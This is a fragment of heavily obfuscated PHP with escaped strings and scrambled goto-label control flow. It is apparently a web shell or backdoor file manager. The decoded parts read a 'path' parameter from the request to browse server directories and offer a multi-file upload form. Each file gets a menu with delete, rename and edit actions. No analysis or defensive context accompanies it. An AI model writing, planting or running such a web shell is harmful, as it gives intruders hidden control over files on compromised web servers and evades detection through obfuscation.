6\x20\x76\x61\154\165\x65\75\47\47\x3e\x3c\57\157\x70\164\151\157\156\x3e\12\40\40\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\74\157\x70\164\x69\x6f\156\40\x76\141\x6c\x75\145\75\47\x64\145\x6c\x65\164\145\x27\76\x44\145\x6c\145\164\x65\74\x2f\157\x70\x74\151\157\156\76\12\40\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x3c\157\160\x74\151\157\156\x20\166\141\154\165\x65\x3d\47\x72\145\156\x61\x6d\145\47\76\x52\145\x6e\141\155\145\x3c\x2f\x6f\160\x74\x69\157\156\x3e\xa\40\40\x20\40\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\74\x6f\160\164\x69\157\156\40\x76\141\154\165\x65\x3d\47\x65\144\151\x74\47\76\x45\x64\151\164\74\x2f\x6f\x70\164\x69\x6f\x6e\x3e\xa\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\40\40\74\x2f\163\145\154\x65\143\164\x3e\xa\x20\40\40\40\40\40\x20\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x3c\x69\156\160\x75\x74\40\x74\x79\x70\145\x3d\47\150\151\144\x64\145\156\47\x20\156\x61\155\x65\75\47\x74\171\160\x65\47\x20\166\141\154\x75\145\x3d\x27\146\x69\154\145\47\76\xa\x20\40\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x3c\151\156\160\165\164\x20\164\171\x70\x65\75\x27\x68\x69\x64\x64\x65\x6e\x27\40\x6e\141\155\x65\x3d\x27\156\141\155\145\47\x20\x76\x61\x6c\x75\x65\x3d\47{$item}\x27\x3e\xa\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\x20\74\x69\x6e\x70\165\164\x20\164\171\160\145\x3d\x27\150\x69\144\144\x65\x6e\47\40\156\x61\155\145\75\47\x70\x61\164\x68\x27\x20\x76\141\x6c\165\x65\75\x27{$fullpath}\x27\x3e\xa\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\160\x65\x3d\47\x73\165\142\x6d\151\164\x27\x20\x76\x61\x6c\165\x65\x3d\47\107\x6f\47\57\x3e\12\x20\x20\40\x20\40\40\40\x20\40\40\40\40\x20\40\x20\40\74\57\x66\x6f\162\x6d\76\x3c\57\143\145\156\164\145\162\76\x3c\57\164\144\x3e\xa\40\x20\40\40\40\40\x20\40\40\40\x20\x20\x3c\x2f\164\162\76"; } } echo "\x3c\57\164\141\142\x6c\x65\x3e\x3c\x2f\x64\x69\166\76"; } goto objWe; rb28G: tWM3z: goto gKVpd; jgAyW: goto qlbAK; goto yS_wq; vWbIf: goto J8nD_; goto r4G5C; od7nc: wjcll: goto hZ5qh; QCbIh: goto DwLqN; goto BfHoD; MBST8: goto Hw8Bd; goto poYkt; rJcm4: bzln8: goto q5qQV; LyXj4: goto q8jkP; goto od7nc; I9QXF: goto hhj9d; goto YJqDG; mspTr: SbVMF: goto lpuOV; LNEso: goto KpS4k; goto c2P_J; r5wew: goto cRmX9; goto jprXd; F7qNN: @session_start(); goto rsHoN; FJ8K2: wMK5d: goto s0wJD; c2P_J: goto nWeJx; goto qKweT; uV6Ic: q8jkP: goto IHlUX; Rf4bY: goto s6Lnf; goto domZ8; CQkdp: zBXUM: goto yXP9p; R5aQR: E0tpB: goto ddBeu; jNUYP: wPhZT: goto T3yq4; GM2O_: m2l28: goto r5wew; ov9r4: ot6iu: goto Uxx3P; YJqDG: hNat6: goto pdmH9; nkw8j: goto hNat6; goto rb28G; r4G5C: goto wjcll; goto R5aQR; vvDQO: goto wPhZT; goto gNFHo; BfHoD: hhj9d: goto LNEso; UpA8_: goto qxaD3; goto tQiw9; Yazl0: JHvf3: goto vWbIf; C8mwY: goto zBXUM; goto UpA8_; eoiLJ: O2SH1: goto rOhM2; wEk4Z: goto jdZnK; goto Ib27y; OOQJ5: b3_Xx: goto Npqvf; uoh9A: UEFT3: goto YbQoe; PqmZn: Rn9GM: goto GlWz0; domZ8: K65Gy: goto zW7jY; rOhM2: goto NBnGq; goto mSxTp; D4SYR: UNqTO: goto MBST8; lpuOV: goto tWM3z; goto ov9r4; gNFHo: bhg0g: goto cv3le; L4pX4: hjknE: goto GM2O_; gKVpd: $path = str_replace("\x5c", "\57", $path); goto I9QXF; T3yq4: goto b0Nrh; goto Xb6Gi; x0hsa: goto JHvf3; goto njvsp; jprXd: rI93N: goto aoMz0; s0gkc: tKEme: goto LyXj4; rHcH2: goto lrCK0; goto eoiLJ; IrgUw: goto K65Gy; goto ktstR; zW7jY: goto Dw2jh; goto SsyJO; wvKuj: TluqZ: goto DlRGI; oIn0G: foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { echo "\74\141\40\150\162\145\146\75\x22\x3f\x70\141\164\x68\75\57\x22\x3e\x2f\x3c\57\x61\x3e"; continue; } if ($pat == '') { continue; } echo "\74\141\40\x68\x72\145\x66\x3d\x22\77\x70\x61\x74\x68\75"; for ($i = 0; $i <= $id; $i++) { echo $paths[$i]; if ($i != $id) { echo "\57"; } } echo "\x22\x3e" . $pat . "\x3c\57\x61\76\57"; } goto nkw8j; eBzFL: goto Asnaf; goto A97iO; njvsp: Tn8b2: goto BeiTs; qKweT: Asnaf: goto FJ8K2; Oo_ve: goto rI93N; goto jNUYP; Npqvf: echo "\x3c\x74\141\142\154\145\x20\x77\151\x64\x74\x68\x3d\x22\71\62\60\42\40\142\x6f\x72\144\x65\x72\75\42\x31\160\170\42\x20\x63\x65\154\154\x70\x61\x64\144\151\156\147\x3d\42\67\x22\40\x63\145\154\x6c\163\x70\x61\143\x69\x6e\x67\x3d\x22\x30\x22\40\x61\x6c\151\x67\x6e\75\x22\x63\145\x6e\164\145\162\42\x3e\12\74\x74\x72\76\74\164\x64\x20\163\x74\171\154\145\75\x22\x70\141\144\x64\151\x6e\x67\x3a\70\x70\x78\42\x3e\103\x75\162\162\x65\156\164\40\x50\x61\164\x68\40\72\x20"; goto qbQcc; OB_Lj: eKPQZ: goto CQkdp; BeiTs: $path = isset($_GET["\160\x61\164\150"]) ? $_GET["\x70\141\164\150"] : getcwd(); goto jgAyW; poYkt: Y7jWl: goto F7PKv; YbQoe: echo "\74\x66\x6f\x72\155\x20\145\x6e\x63\164\x79\160\x65\x3d\x22\155\x75\154\x74\x69\x70\x61\162\x74\57\146\157\162\x6d\55\144\141\x74\x61\x22\x20\x6d\145\x74\x68\157\144\x3d\x22\120\117\x53\x54\42\76\xa\x55\160\x6c\157\x61\144\40\x46\x69\x6c\x65\x73\72\40\74\151\x6e\160\x75\164\x20\x74\171\160\145\x3d\42\x66\151\154\145\42\x20\x6e\x61\x6d\x65\x3d\42\146\x69\x6c\x65\133\135\42\x20\x6d\165\154\164\x69\160\154\145\x20\x2f\x3e\xa\74\x69\x6e\160\165\x74\40\x74\x79\160\145\x3d\42\163\165\x62\x6d\151\164\x22\x20\x76\141\154\x75\145\75\x22\125\160\154\x6f\x61\144\x22\40\57\x3e\12\74\x2f\146\157\162\x6d\x3e\xa\x3c\57\x74\144\x3e\x3c\57\x74\162\x3e"; goto TxR2e; QVUHr: lrCK0: goto nw6ar; qn93U: t9IL2: goto C8mwY; W_F9s: goto bhg0g; goto OB_Lj; oaxtW: goto b3_Xx; goto UCa5R; w5Pt7: goto FOibh; goto x0hsa; Osxf3: ICmb8: goto F7qNN; Izsvh: ?>